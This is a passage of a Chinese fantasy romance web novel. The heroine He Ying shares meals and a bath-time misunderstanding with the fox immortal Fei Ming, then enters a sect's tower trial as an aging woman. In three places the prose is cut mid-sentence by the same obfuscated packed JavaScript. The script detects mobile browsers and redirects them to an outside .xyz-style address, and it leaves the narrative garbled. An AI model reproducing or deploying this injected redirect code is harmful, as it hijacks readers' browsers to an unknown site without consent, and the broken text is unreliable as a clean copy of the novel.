她前脚刚转身,后脚就被两个人齐齐喊住。 绯明:“你不许走。” 涂山筱欲哭无泪:“何仙子你不能见死不救啊!” 何缨:“……” 绯明终是不耐烦了,一团狐火对准涂山筱。 “五个数,还留在这碍眼,这团火便赏给你。” 涂山筱立刻头也不回地跑了。不对,是飞了。 五个数后,绯明一团狐火朝着涂山筱离去的方向打出。涂山筱差点没被打散了架子,拼了一条老命逃也似地离开了沧溟仙宗。 没了多余的人,何缨和绯明隔着一堆焦炭相望。 绯明朝她伸出了手。 何缨下意识捂住了自己的脖子。 绯明:“……” 绯明别开眼。“……上次是本座的不是。” 何缨没听懂他在说什么。 绯明见何缨无动于衷,垮了脸,走到何缨身边。侧着身子背着手。 何缨迷茫。 绯明耳朵红红的,“……给你赔个不是。” 何缨受宠若惊,所以从刚才开始,一直到现在,他是在和自己道歉? 何缨语无伦次,开始睁眼说瞎话,“没没没关系啊,捏脖子可好了,疏松筋骨!” 假话编得太假,假道到绯明都不知道该怎么反驳了。 空气一时安静,两个人相对无言。 何缨这怕人尴尬的毛病又犯了。 何缨问:“那个,我叫何缨,敢问您是?” 绯明:“以后你会知道的。” ……嗨呀你们这群谜语人! 绯明又抬起手,何缨下意识闭上了眼。 有什么在轻柔地触碰着她的发丝。 绯明替她将歪倒的步摇插好,又理了理脸侧的发丝,那只硬生生将人灵魂都捏碎的手,此刻却透露出无比的温柔。 何缨心头一跳。 她睁开眼,正对上一双红色的眼眸。 男人棱角分明的侧颜近在咫尺。何缨甚至能看清他那浓密的眼睫毛,和毫无血色的薄唇。 两个人的距离很近,近到何缨摒住了呼吸。 “……对不起!”何缨心口莫名其妙的一热,她疯狂后退,和绯明拉开了距离。虽然她也不知道自己在对不起什么,总之她先道歉总没错吧! 没人会难为一个道歉的人对不对! 这是何缨不知道第多少次和绯明说对不起。 绯明垂眸。有些无趣地低低哼了一声。他背着手,朝何缨的小院走去。 他看着地上被翻了一半的土问:“种的什么?” 何缨:“迎阳花。”这你都感兴趣? 绯明并不感兴趣,他只是随口一问。他一挥袖袍,土地便自动翻滚了起来,整整齐齐地排列成了一块又一块四四方方的田垄。 绯明的脸色又苍白了一分,他站在何缨的小院里,来回审视。 他一会儿走到最左边的樱花树下,一会又走到那只属于他的小窝旁边。 何缨尴尬地要死,她惴惴不安地跟在绯明身后,绯明忽然停住脚步,她就一头撞上了绯明的后背。 “唔……”何缨揉了揉额头,努力让自己不那么尴尬。“那什么,天气真好啊!” 这田真田啊!这月亮真月亮啊! 这男主怎么还不走啊! 绯明:“……” 绯明有些气急败坏。 何缨怎么还不请他进屋坐坐? 他都表现得这么明显了! 等了半天,何缨没有半点邀请他进去喝杯茶的意思,没办法,绯明屈尊降贵,在小院里坐下。 感应到本体的靠近,小狐狸没精打采地从铜镜里跑了出来,熟稔地顺着衣服爬了上去,在绯明的肩头休憩。 分身回到身边,周身的疼痛渐消,绯明的脸色也好看了一些。 何缨还从来没见过小狐狸对另一个人如此亲密,忍不住问:“你们……认识?” 绯明瞥了她一眼,没说是,也没说不是。 何缨为谜语人绝倒。 田也整好了,何缨掏了个小水壶出来浇水。 她一边浇水,一边偷偷瞄在旁边打坐的人。 若是在仙境绯明的恢复速度还能快些,如今在凡界灵力稀薄,打坐根本没什么用。 绯明索性像在赤璃境一样,大字型摊开躺在了地上。 何缨浇水的手一抖。 这怎么修真界也有人碰瓷啊! 何缨浇完了水,就看到一人一狐大大咧咧地摊在铜镜旁边的空地上,像一张大煎饼上叠了一张小煎饼。 她试着搬了搬小煎饼,小煎饼无动于衷并发出了嘤嘤叫。 想把我搬走,必须把我们两个一起搬走。 何缨看着这只尾巴往外拐的小狐狸,无语且无奈,“……两位爷,别在外面躺着了,上里面儿去行不行?” 闻言,绯明一骨碌从地上坐起来。 又觉得自己太积极主动,绯明又放慢了动作,若无其事地整了整衣襟,理了理衣摆,又将被抖落到地的狐狸拎起来,这才勉为其难道:“好吧。” ……给何缨气笑了。 进了铜镜,何缨就看着这人熟稔地往三楼走,连忙喊住他:“你要去哪儿?” 绯明僵立在原地,选择反手把问题抛给何缨,“本座不能上去?” 何缨沉默,倒也不是不能上吧,只是你为什么这么熟练啊! 何缨光速从乾坤袋里掏出云淮不知打哪弄来的花雕大床和各种软榻,往一楼旁边的起居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785736|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室一摆,对着绯明摊开双手,想睡啥随便挑! 绯明只能从楼梯上下来,勉勉强强地躺上了最大的那一张花雕床。 小狐甩了甩头,跟着绯明一起爬上了花雕床。 何缨泪流满面,你不是妈妈最爱的小狐狸了吗! 妈妈叫你茸茸你不高兴了吗! 何缨拿这一大一小没办法,只能收起其他床具,塞了只大枕头给他们,撂下床帐,替他们烧了张安神符,转身去二楼进行每日一画。 不知道是何缨的安神符真的起了作用,还是绯明确实累了,他枕着那带着淡淡香气的软枕,沉入了梦境。 梦里,依旧是那片战火纷飞的沙漠。 无数承载着怨气的青鸾鸟自天际飞过,路过这里时,他们议论纷纷。 “这不是涂山部族的王上,怎么倒在这里啦?” “被族人出卖给了魔族,死后又要被他们分食血肉和修为,真是太惨了。” 他们的声音靠近又远去,青色队伍连成了一条长线,朝着东方正在升起的太阳驶去。 就在这时,有一只青鸾扑打着翅膀,离开了他们长长的队伍,落在了绯明眼前。 “胡说,这不是还没死呢吗!” “没死你也救不了他,他身上的怨气太重了。” “有这么多青鸾,为什么你们不和我一起?” 其他青鸾立刻七嘴八舌地嚷嚷起来,“我们已经承受了足够多的怨气了,还要回去复命,再多承担一点,万一死了怎么办!我劝你也别管他,多一事不如少一事。” 然而,落在绯明身边的那只青鸾却已经下定了决心,她不再回头。 “你们走吧,我来帮他。” “你死了怎么办?” “死了正好,背负这么多的怨气,实在是太累啦。“ 练习了几个月,何缨终于习惯了落笔不能撤回的日子。前一阵子她买了矿质颜料和铅块,终于不用再拿着根毛笔别别扭扭得画水墨画。 何缨想了想,画了一大片盛开的向日葵。 朗朗晴空之下,金灿灿的向日葵向着天际自由生长。在它们前方,黑发赤眸的男子抱着一只小狐狸,嘴角带着轻柔的笑意,看向画面之外。 巨大的金色投影洒落在他的身上,在万里无云的碧空下耀眼的恍若神祗。 何缨停下笔,有了些困意。 就在这时,一个人从她身后探了过来,捏起了画。 这个姿势,何缨几乎被人半抱在怀里,甚至能感受到他身上温暖而干燥的气息。 绯明不知何时来到了何缨身边,他捏着画的一角,同画中的自己对视。 旁人作画,大多不是模仿就是替他人作画,要在实际的场景或人物旁才能完成画作。何缨则不同,她明明只是独自一人在这栋与世隔绝的小楼中,却画出了从未在现实里出现过的景色。 何缨有些尴尬,那是一种偷偷画了别人,又被本人抓包时得尴尬。 “……画得不错。”绯明将画还给何缨。 绯明思索,本座何时这么笑过?难道她喜欢看我这样笑? 何缨忽然急切地站起身来,死死抓住了绯明袖袍一角。 她的声音有些发抖,“你能不能,再说一次?” 这是绯明从未见过的神情,自初见少女以来,何缨笑过,闹过,慌里慌张地胡言乱语过,担惊受怕地道歉过。 却是头一次以这样急切的神情,这样渴望的姿态,面对他。 绯明将放下的画复又拿起,当着何缨得面收进了袖子里,在何缨灼灼的目光之下不自在地别开了眼。 “……画得很好,本座就收下了。” 听到了这句话,何缨在心里高兴的大叫,差一点蹦到绯明身上。 已经很久很久没有人这么夸赞过她了! 已经很久很久没有人欣赏她的画了! 如果站在她面前的人不是书中男主角,何缨大抵会直接抱着他跳起来。可惜抱不得。 于是她转而瞄准了他肩上的小狐狸。 小狐狸莫名其妙的被人从肩上薅了下来,何缨两手捏着他的腰,颠儿颠儿地抛到高空,又落下来,让她好一顿揉搓。 心情舒畅,修为也跟着涨,何缨从筑基初期一举挺进,变成了筑基后期,马上就可以结丹了。 何缨肉眼可见的开心了起来,绯明没想到自己一句话有这么大的魅力,反倒有些意外。 15. 15 为了感谢绯明的夸奖,何缨决定拿她前一阵采买的食材出来,请绯明吃顿饭。 修真界不是没有餐饮,只不过大多都围绕着灵气和灵力制作,光好吃却没有灵力的东西是不会有人去吃的。 何缨则不同,修真界有这么多便利的器具,正应该及时行乐,弄点好吃的才行。 绯明和小狐狸一起歪着头,站在何缨背后瞧。 何缨拿出几条排骨,先用溯水符洗干净,再放到炼丹用的炉子里,加好各种调料,贴了张爆燃符。 只听轰隆一声,丹炉发出了一声爆响。 何缨打开炉盖,将炸好的排骨倒了出来。 麻辣鲜香炸排骨,有了符箓和丹炉的帮助,不到五分钟就做好了。 何缨夹了一块喂给小狐狸,却被绯明截了胡。 “……好吃么?” 绯明点了点头,将排骨啃得干干净净,麻麻辣辣的口感激发了他多年不曾使用过的味蕾。 何缨又夹起第二块放到碟子里,将小狐狸抱下来喂。 绯明抢先一步,把碟子里的排骨又夹走了。 何缨:“……”你这人怎么连狐狸的食都抢啊! 修仙之人不会营养不良,何缨就只挑着喜欢吃的东西做了几样炸肉,她还用自己的冰属性做了盆刨冰,放了些荔枝进去。 “我之前还用它做过爆米花,可惜炉子太热全糊了。” “爆米花?”绯明疑惑。 何缨慌忙解释,“啊啊就是凡间玉米的一种吃法!我做给你看!” 她掏出之前剥好的一袋玉米粒,放进了炉子中。 屋子里容易弄得满屋都是,何缨将丹炉放到了院子里。 加糖加牛乳,然后扣好炉盖。 两人一狐在门口的摇椅上捧着荔枝刨冰等待,没过一会,丹炉就开始劈里啪啦地响。 有几粒爆米花顺着缝隙钻了出来,被小狐狸一口叼住。 直到炉子里终于没了响动,何缨从云淮的乾坤袋里薅了柄宝剑,把炉盖撬开。 奶香奶香粒粒分明的爆米花装了满锅。 绯明捡起一粒放到嘴里,轻轻皱眉。 他不是很喜欢牛奶的味道。 “好吃吗?”何缨小心翼翼地问。 绯明喉结涌动。 “……好吃。”绯明想起了方才何缨受到夸奖后兴高采烈的模样,将爆米花咽了下去。 何缨点了点头,掏出她在灵宠店里买的宠物粮,倒给小狐狸吃。 她刚倒下去,一双筷子伸了过来,把宠物粮夹走了。 何缨:“这个是给狐狸吃的!” 绯明点了点头表示自己知道了,然后又伸出一筷子把宠物粮夹走。 何缨:“……” 原来男主和她家茸茸的关系铁到可以同吃一碗宠物粮了吗! 吃完了饭,绯明不再久留。 在人界太久,天上那帮老东西又要找他唠叨。 临走前,绯明嘱咐何缨,“别忘了去仙选会。” 何缨茫然地点了点头,她参不参加仙选会和男主有什么关系? 绯明一甩袖袍,白色的雾气将他包裹,紧接着,随着雾气消散在原地。 转眼间,人已经回了赤璃境。 赤璃境内空空荡荡,除了歪脖子树上睡觉的傻鸟外,再无其他活着的生命存在。 没有风,火红的枫树们静静矗立;没有雨,清浅的池塘悄无声息;没有白天,只有一轮孤月高高挂起。 回到仙界,周身的灵气恢复了运转,绯明走进自己的领地,在一棵高大的枫树前停住了脚步。 一片枫叶落在了绯明的肩上,被绯明拾起。火红的枫叶似女子艳红的裙摆,绯明松手,轻轻吹了一下,那枫叶就轻飘飘地打着旋落地。 他在树下静默良久,久到自己仿佛也变成了这停滞的世界之中的一员。 绯明打了个响指。两个小童出现在了他的面前。“尊上有何吩咐?” “……境里的树太单一,本座看腻了。种些别的来。” “您想种些什么?” 绯明顿了顿,“寒绯樱。“ ...... 送走绯明这尊大神,何缨把买好的澡盆放到了二楼的置物间。 说是澡盆,其实是个四四方方的玉池,买回来的时候只有碗大,何缨操纵灵力,往地上一掷,碗大的澡盆就变成了一方雾气渺渺的玉池。 这个置物间正对着一楼的旁边的小花园,要是把周围的窗户都改成落地窗,这里就变成了最佳观景地。 在这里泡温泉,赏美景,想一想都爽。 何缨褪了衣衫,抱着小狐狸下到水里,温热的灵泉水立刻将她包裹了起来,何缨满足地叹了口气。 修了仙不用洗澡,此前何缨一直都是用净身符清洁全身,但是泡澡真的能舒缓心情。 怀里一直闭着眼睛的小狐狸挣扎了起来,逃也似的爬上了岸,用尾巴蒙上了眼睛。 奇怪,之前也给茸茸洗过澡,是拿小木盆装的水,怎么到了大池子里,反倒不愿意洗了? 何缨游到岸边,用手托住狐狸的屁屁,“怎么啦?水太深了吗,没事的,我抱着你,不会有事的。“ 就是抱着才会有问题! 绯明耳朵通红,躺在赤璃境的正殿里来回翻滚,最后趴在地上装死。 于是小狐狸也开始趴在地上装死。 何缨抱了两次都被他挣脱了,只好去拿了小木盆来,舀了水给他洗澡。 绯明感觉自己从来没有这么狼狈过,他离开正殿,去院子里的池塘泡了好一会儿,心中那股子邪火才渐渐平息。 何缨对此一无所知,她美美洗了个热水澡,抱着小狐狸擦干梳毛,然后回床上睡觉。 这一夜,狐狸安分守己,没再变成人骚扰何缨。 第二天,何缨照例去上课。涂山筱消失的无影无踪,鬼七变成一堆焦炭,何缨只能自动忽略了他们昨天的胡言乱语。 她不想知道这个世界的秘密,也不想知道女主要干什么,她只希望男女主把日子过好,毕竟看主线不如磕cp。 仙选会临近,弟子们也都活跃了起来,只要报名参加仙选会,沧溟仙宗就会大方的给出一千学分。要知道,一堂课也只有50点学分,参加个仙选会还能出去吃喝玩乐,简直不要太爽。 可谓是躺着就把这学分给赚了。 何缨不知道绯明要做什么,但就冲着那一千学分,她也要报。 不过,仙选会也不是说报就能报的,说到底,这也是一种迅速飞升成仙的途径,自然也会优先给予门内资质好的弟子。各个长老手中攥着一些名额,外门弟子中也会有一些名额,只要到了筑基期,都能参与。 照理说,刚入宗门的小菜鸡是不能参与的,可是何缨既是掌门亲传,修为又已经临近结丹,所以参加也没什么问题。 而想要参与仙选会,就要通过宗门内部的第一道筛选,沧溟仙宗的筛选测试年年都一样,既难也不难——爬塔。 何缨抱着小狐狸上了仙舟,同一众弟子飞到了高空。 远远望去,一座四四方方的石塔在沧溟仙宗的西北角巍然耸立。 塔是云淮早年炼制的一尊八宝塔,专门用来磨练弟子的耐性。譬如景言川,即便未到仙选会,遇到瓶颈之时i,也会自请入塔修习。 何缨提前去沧溟日报那买了小抄,关于这座塔有了些微的了解。 塔内是纯粹的单人战,进入塔后,便是有几十万,几百万人,也都不会相遇,更别提共同作战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785737|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 每个人的考题皆不相同,考验的正是创塔之人意志最薄弱之处。 有的人要连闯数十关,关关不相同,有人只需一关,可这一道关卡却能将人卡一辈子。 仙舟在塔的最顶层停下,何缨跟随着看守长老,走进了塔最顶层的钟楼。 看守长老敲响青铜钟,钟声嗡鸣,震彻寰宇。 不一会儿,一道传讯符自塔底飞上。 收到讯息,看守长老用长杖敲开塔顶的石门,将手中的传送石交给进塔的弟子。如果遇到难以避免的危险,捏碎传讯石,便可立刻来到塔外,但也就算作失败了。 往年为了参选而死都不肯捏碎传讯石的不在少数,有些人破而后立,有些人修为大损。是福是祸,全看个人选择。 测试内容:磨练心志 测试要求:七天之内,从塔底走出。 测试道具:不以破坏塔为目的的任何道具法器 塔底,一众长老严阵以待。仙选会颇受重视,即便是云淮,也要放下手头的事到场坐镇。测试正式开始。 何缨把传送石放进口袋,有些紧张地深吸了一口。绯明在她怀里懒懒地抬头,用耳朵轻轻蹭了蹭何缨的下巴。 有本座在,有什么好怕的? 感受到怀里毛茸茸一团的温热,何缨定了定心,走进了石塔。 一阵清风吹过,何缨闭上了双眼,在无尽的黑暗中向下坠落。 过了许久,意识终于回归到己身,一阵明亮的光辉洒在何缨的眼皮之上。 何缨皱了皱眉,抬手挡着光睁开了眼睛。 或许是从黑暗中过度到光亮的地方有些不适,何缨感觉自己的眼前青一块花一块的。 映入眼帘的是一间小竹舍。 何缨躺在一张草席铺成的床上。 她缓缓坐起身,腰却一阵一阵的疼。 直到这时,何缨才忽然发觉,挡在眼前的那只手上,充满了褶皱。 何缨睁大了眼睛,看着自己布满了皱纹和茧痕的手,没敢去摸自己的脸。 乾坤袋消失了,灵力似乎也用不出来。这是哪,小狐狸呢? 何缨颤巍巍地站起身来,想要大喊,出口的却是沙哑的嗓音。 “茸茸——” 没能立刻适应如今的这具身体,她站不稳,伸手一摸,正好摸到了一只拐杖。 何缨扶着拐杖蹒跚地走出竹舍。 “茸茸——” 不远处,一群孩子哄笑的声音模模糊糊传过耳膜。他们拿着扫帚和竹竿,围成了一团。 “茸茸——”何缨艰难地呼喊着。 似乎终于听到了她的呼喊,一抹红白相间的小身影矫捷地冲出了孩子堆,朝她扑来。 何缨张开双手,拐杖也掉在了地上,一把抱住了她的茸茸。 “哎哟,你慢点。”这具身体根本撑不住这么大的冲击,何缨感觉自己的腰差一点就被撞折了。 说是这么说,可在抱住了小狐狸的那一刻,何缨还是安下了心。 她试着提起门后的扫帚,却发现一只手使不上劲,于是把茸茸放到了窗台上。 何缨双手举起大扫帚,朝那群欺负茸茸的小混蛋们扫去。 “去去去!滚回家去!” 孩子们一哄而散,朝远处的村落里跑去。 竹舍终于回归了寂静,一道传讯也出现在了何缨面前。 【身份:老妇】 【任务:立即前往浮光宗参加弟子大选】 看着浮现在面前的两行字,何缨终于能够确定自己是在石塔内做任务,而不是又被裹挟到另一个世界另一具身体里了。 没有什么别的原因,只是因为现在的场景和身体上的感受过于真实。 让她有些恐惧。 16. 16 活了整整二十年的何缨,从来没想象过自己老去时的模样。 她根本就没想过自己能活到老。 整天的焦虑,晚上内耗熬夜通宵。 白天醒了心脏突突跳,感觉哪天就要嘎一下一命呜呼。 本着活一天算一天的原则,何缨得过且过。 而现如今,何缨看着自己老去的双手,前所未有的滋味涌上心头。 有些新奇,又有些难过。 原来老去的身体是这么不中用,什么都做不了,还会腰酸背痛。何缨确信,活到老真是一件恐怖的事情。 但是幸好,小狐狸还在她身边。 事不宜迟,何缨拿起老妇放在床头柜里的私房钱,带上锅子里摊好两张面饼,将他们和小狐狸一起放在了背篓里,踏上了旅程。 正午的日头又晒又干,何缨薅了只芭蕉叶,顶在头顶。 在她看不见的地方,绯明自远处翩然落下。石塔将所有人分割成了不同的时空,普通的灵兽会被驱赶出塔,或回到储物袋里,绯明则被当成了闯塔人,卷到了别的地方。 这一会,他才找到何缨。 何缨拄着拐杖,背着她的全部家当,艰难地在乡野小路上走着。 绯明化作灵体,钻入了背篓里小狐狸的身体。 何缨感觉自己身后一阵骚动,紧接着,小狐狸从背篓里爬了出来。 “怎么了?里面很热吗?”何缨也热得不行,她在路口旁的小土墩上坐下,擦了擦额头上的汗。 歇了一会儿,何缨朝田边种地的大爷问路。 “哎哟,何妹子连路都忘了,还没放弃呢!我都放弃了!”田里的大爷似乎是老妇的熟人,他给何缨指了路,何缨不知道该回答什么,只能尴尬地笑了笑表达感谢。 她捧起茸茸,茸茸却从她怀里窜了出去,站在前方衔住她的拐棍。 不知怎得,何缨明白了他想要表达什么。 茸茸不想让她背着抱着,要在前面引路呢。 何缨接过拐棍,心里有千言万语,最后却只剩下一句多谢。 茸茸便昂首挺胸,迈着小狐步走在前面开路。 何缨拄着拐棍,慢吞吞地跟在他身后。 有时候小狐狸会冲到前边的路口,左边瞧瞧右边看看,再回来通风报信,咬着何缨的裤腿带她走上正确的路。 何缨万分庆幸自己带上了那两张饼,这具身体肉身凡胎,少吃一顿就累的不行。 走了整整一天,何缨在茸茸的引领下,终于是走到了镇子上。 她额上的汗不停地滑下,手帕子都擦皱了。 不行,得先买点干粮,再找个地方歇一会才行。不然何缨感觉自己的身体根本撑不到第二天。 镇上有一条繁华的小街,何缨一走进去,街上的人竟然都认识她,还同她问好。 “何妈妈又去浮光宗拜师啦!”一个水果摊前的年轻妇人扶过何缨,带她到一旁坐下,砍了半块西瓜给何缨吃。 不一会,隔壁茶点铺子的老板娘捧了一包糕饼出来,交给何缨。 何缨连忙去掏背篓,“多少银子?” “不用啦,送你的。”老板娘柔柔地笑着,”每年去浮光宗你都买我家的糕饼,要不是你锲而不舍地光临,我们家的铺子早就改成茶楼了。现在生意红火起来,不差你这一份糕饼钱,以后你来镇上,到我们陈氏糕饼铺子来,想吃多少都随你便。“ 何缨看向她身后的店面,客人络绎不绝。放下糕饼,老板娘又急忙忙地回去帮她丈夫看顾生意去了。 何缨没想到自己竟然还是这条街上的大明星。 吃完西瓜,凉快了不少。何缨掏银子,水果摊的老板却也不肯要她的钱。 “支持你,就是支持我自己呀。”老板娘扶着她一直走到路口,这才回到水果摊旁边的破桌子旁,在宣纸上提笔写字。 茸茸拱起那袋糕饼,用嘴叼着,继续在前面引路。路上依旧有人和她问好,大家的脸上都洋溢着热情的笑容。何缨能感受到这些人的善意,而年老的身体不容许她做过多的姿势,只能以微笑点头和大伙示意。 大家并不怪她,一个不远万里求仙问道的老太太,能这么坚持着走在路上,已是不易。 时不时有人搀她一把,还有人用牛车带她走了一段路。 浮光宗离这儿不远,但也要再走过几个村落才行。傍晚时分,何缨到达了浮光山下的一座小村子。 村子和宗门同名,也叫浮光。 弟子大选就要开始了,即使是傍晚,村子里依旧十分热闹。 何缨被村里人热情地招待进屋,吃了一顿丰盛的晚饭。 她偷偷藏起了村长热情添在她碗里的大鸡腿,在饭后拿给了小狐狸。 她都变成凡人了,茸茸肯定也变成了普通的狐狸。 “快吃吧。”何缨用油纸抱着鸡腿,放在桌子上。 本来村子里并没住处,但是每年浮光宗大选都会来很多人,于是挨家挨户便腾出空屋,交点银子,就能住上一晚。 绯明看着桌上的鸡腿,十分嫌弃。 但这是何缨特意为他省出的口粮。 小狐狸绕着鸡腿转了几圈,叼着鸡腿跑出了木屋,在院落里一边吃一边赏起了月亮。 何缨也坐到他旁边,拄着拐杖,感受着凉爽的晚风吹拂。 晚上,何缨艰难地爬到了土炕上,坐在边缘,捧起了桌上朦朦胧胧的铜镜。 镜子里隐隐约约倒映出了她老态龙钟的模样。 小狐狸攀上床,依偎着何缨坐下。 “茸茸,我现在是不是很难看。”何缨抚摸着镜子里她的面庞,轻声叹息。 茸茸钻进她怀里,亲昵地蹭了蹭她的脖颈。 何缨放下镜子,扶着老腰在炕上侧躺了下来。 “真好。”何缨有一下没一下顺着狐狸毛,“要不是有你在,我真的要难过死了。” 累了一天,浑身上下都在隐隐作痛,闷热木屋里没有一点凉风,何缨翻了个身,疼的额头上直淌汗。 别说睡觉了,连舒适地躺着都做不到。 不知道过了多久,迷迷糊糊中,她感觉有个人替她擦去了额上的汗水。 有微风拂过她的身体,疼痛渐消。一只手轻轻在她的后背上拍着,一路向下,替她揉捏腿关节。 伴随着似有似无的凉风,何缨渐渐地睡着了。 绯明化成人形,坐在她身边,一手拖着她的小腿,一手拿着蒲扇,给何缨扇风。 他已经是仙人,哪里会被这点障眼法迷惑。 面前的何缨哪有半点老态?她分明还是那个小丫头,躺在炕上呼呼地睡着呢。 绯明捏了捏她的脸颊,替她将粘在颈间的发丝缕到枕旁,在她额上落下一吻。 何缨浑然不觉,她下意识伸手摸了摸,没有摸到熟悉的狐狸毛,眉头轻蹙。她迷迷糊糊地睁开眼,寻找着她的茸茸。 进塔的只有一个分神,绯明幻化出了一条大尾巴,送到何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不怎么敢和陌生人接触,更主要的是她不知道这个任务靠npc完成算不算数。 昨天走了一天,今天腿竟然也不怎么难受。何缨有些意外,这具身体难道比想象中要结实? 就这么走走停停,一直走到日上三竿,何缨才终于爬到了浮光宗的大门口。 排队测灵根的人多如牛毛,何缨来得晚,不知道要等多久才能轮到她。 她找了一个队伍的末尾跟着站了过去。 就在这时,只听滴的一声。何缨眼前亮起了一行字。 【任务完成】 咦?这就完成了? 何缨疑惑,自己还没通过呢! 她想了想,忽然发觉,任务似乎只要求她来参加大选,并没有说一定要选上。 所以她来到门口,排在了队位,便是参与了大选,任务也就随之完成。 这么看来,任务并没有想象中那么艰难。 可是新的问题来了,她已经完成了任务,是不是已经通过测试?还是说之后还有其他的任务要做? 何缨等了许久,却没看到其他的任务列表出现,眼前依旧是任务完成四个大字。 为什么完成了这个任务,场景却没有变换,故事依然在继续呢? 17. 17 何缨正惴惴不安,一个身穿华贵法袍的年轻人带着几个侍从来门外巡视。 路过何缨时,他有些意外地停驻。 “何缨,你还没放弃?” 何缨只能摇了摇头。 她不知道这人是谁,但是这一路走来,认识她的人太多,她也习惯了。 那个年轻男人眸子里闪过一丝钦佩,他将何缨扶出了队伍,又喊来两个弟子,问过何缨的名字,给她刻了玉牌。 “你能以凡人之躯坚持几十年,已是不易,我便破例替仙宗收下你,你随我进门吧。” 何缨被这天上突然掉下来的馅饼砸傻了,这就入选了? 一朵云彩飘了过来,何缨扶着拐杖站上去,没忘记抱起茸茸。 周围的其他人露出了羡慕的目光,却没几个人嫉恨何缨。 何缨一把年纪还没引气入体,进了宗门又能活几年? 蹉跎一辈子才换来这个结果,并不值得嫉妒什么。 何缨抱着小狐狸,跟着那青年进了浮光宗,在一座小山脚下落地。青年给了她一栋小院供她居住,明天早上随他拜师。 等他走后,院子里又只剩下了何缨和狐狸面面相觑。 没有了任务指引,何缨迷茫了起来,她不断提醒自己,这里是石塔幻境,一定不能忘记。 年轻人带她进了宗门,却忘了何缨仍是凡人。 周围全是山水花草,荒无人烟,更别提吃饭的地方。 索性之前的那包糕饼还有剩,何缨将糕饼掰成两半,一半分给小狐狸。 “我不是成功拜入宗门了么?怎么任务还没结束?”何缨自言自语。 绯明趴在何缨怀里若有所思,他入塔之时被卷进了另一个世界,没有任何提示,只能自己摸索。他已是仙,又是洞察人心的九尾天狐,考验人界的幻境自然不在话下,可常人却很难立刻发现自己该做什么。 何缨却不同,从他找到何缨开始,她就目的十分明确地奔着浮光宗而来。 这幻境中还有什么他不知道的东西。这东西是来自于石塔,还是何缨本身就有,抑或是两者共同造成,尚且不知。 何缨还不知道绯明已经猜出来了一大半,她捏着狐狐的两只肉垫,把他整个抱了起来。 她在院子里看到了一只小木盆。 茸茸跟着她走了两天,身上肯定粘了不少沙砾,给他洗个澡,让他舒服一些。 何缨拄着拐杖,提着木盆,到溪边打了水。 她把茸茸放到木盆里,好好地给他洗了个澡。 爪子搓搓,后背搓搓,下颌搓搓,肚子也搓一搓。 何缨往下继续摸,原本安分的狐狸却突然跳了起来,激起一片水花,头也不回地窜进回了院子。 何缨笑,“害羞什么呀,每次洗到这你都跑。” 小小一只狐,还挺注重隐私。 晚上,一人一狐分食完最后一块糕饼,躺在了床上。何缨学着绯明的样子,摊成了大字型。 浮光宗的待遇不错,至少床够大,何缨能翻开身。 没有任务何缨只能走一步看一步,明天先跟着去拜师再说。 然而,睡到半夜的时候,何缨被一阵冷风刮醒了。 奇怪,浮光宗里温度适宜,哪来的冷风? 何缨在冷风中睁开了双眼。 什么浮光宗,什么小院,哪还有踪影? 面前是一片烧得焦黑的土地,何缨穿着惨败的衣服,半跪在地里,险些扑倒在地上。 何缨揉了揉跪的发麻的腿,从地上站了起来。 腿也不疼了,腰也不酸了,视野一片清明。何缨一愣,她连忙看向自己的双手。 手上还有些薄薄的茧子,是日夜劳作磨出来的,皱纹却少了很多。 “缨子,浮光宗又要招人呐,你还去不去了?我要去镇上买酒,顺路捎带你去。” 伴随着一声呼喊,何缨的眼前又出现了熟悉的两行小字。 【身份:寡妇】 【任务:立即前往浮光宗参加弟子大选】 何缨大喊:“我去!” “那感情好啊,明个儿早上,村东头树下等我!” 何缨连声答应,天色一片昏暗,她有些分不清东南西北,直到跟她喊话的汉子笑出了声,她才反应过来。 自己站在一片坟地里。 何缨一个激灵从坟地里跳到了大路上。 那汉子用手拉了何缨一把,对何缨抛了个媚眼。“最后一天,纸钱也烧了,别这么苛责自己。“ 何缨连忙把手抽出来,怎么感觉上了贼船!? 她东瞅西望,终于瞧见了那片小竹林,撇下那汉子一个人跑了。 茸茸呢?茸茸怎么又不见了? “茸茸!”何缨大声喊道。 回声惊起了一片飞鸟,把邻居家的鸭子们吓得嘎嘎大叫。何缨的嗓音不再沙哑,动作也轻快了许多,浑身有了力气。 不一会儿,一道小小的影子从林间窜了出来,冲进了何缨的怀里。 是她的小狐狸。 小狐狸一窜到怀里,就衔住了何缨的手腕,亲昵地又蹭又咬。 何缨咯咯地笑,她举起小狐狸,在院子里转了好几圈,直到自己晕头转向了才停下。 任务目标依旧是去浮光宗拜师,可是如今的何缨却年轻了不少,像是回到了十几年年前。 何缨感觉自己充满了力量,她把狐狐放在茅草窝棚上,垫了张丝巾在他身下。 “我给你做好吃的去!” 绯明看着何缨转头拿了擀面杖去厨房里,于是翻了个身,仰躺在窝里。 原来如此。这是一个时间法阵。 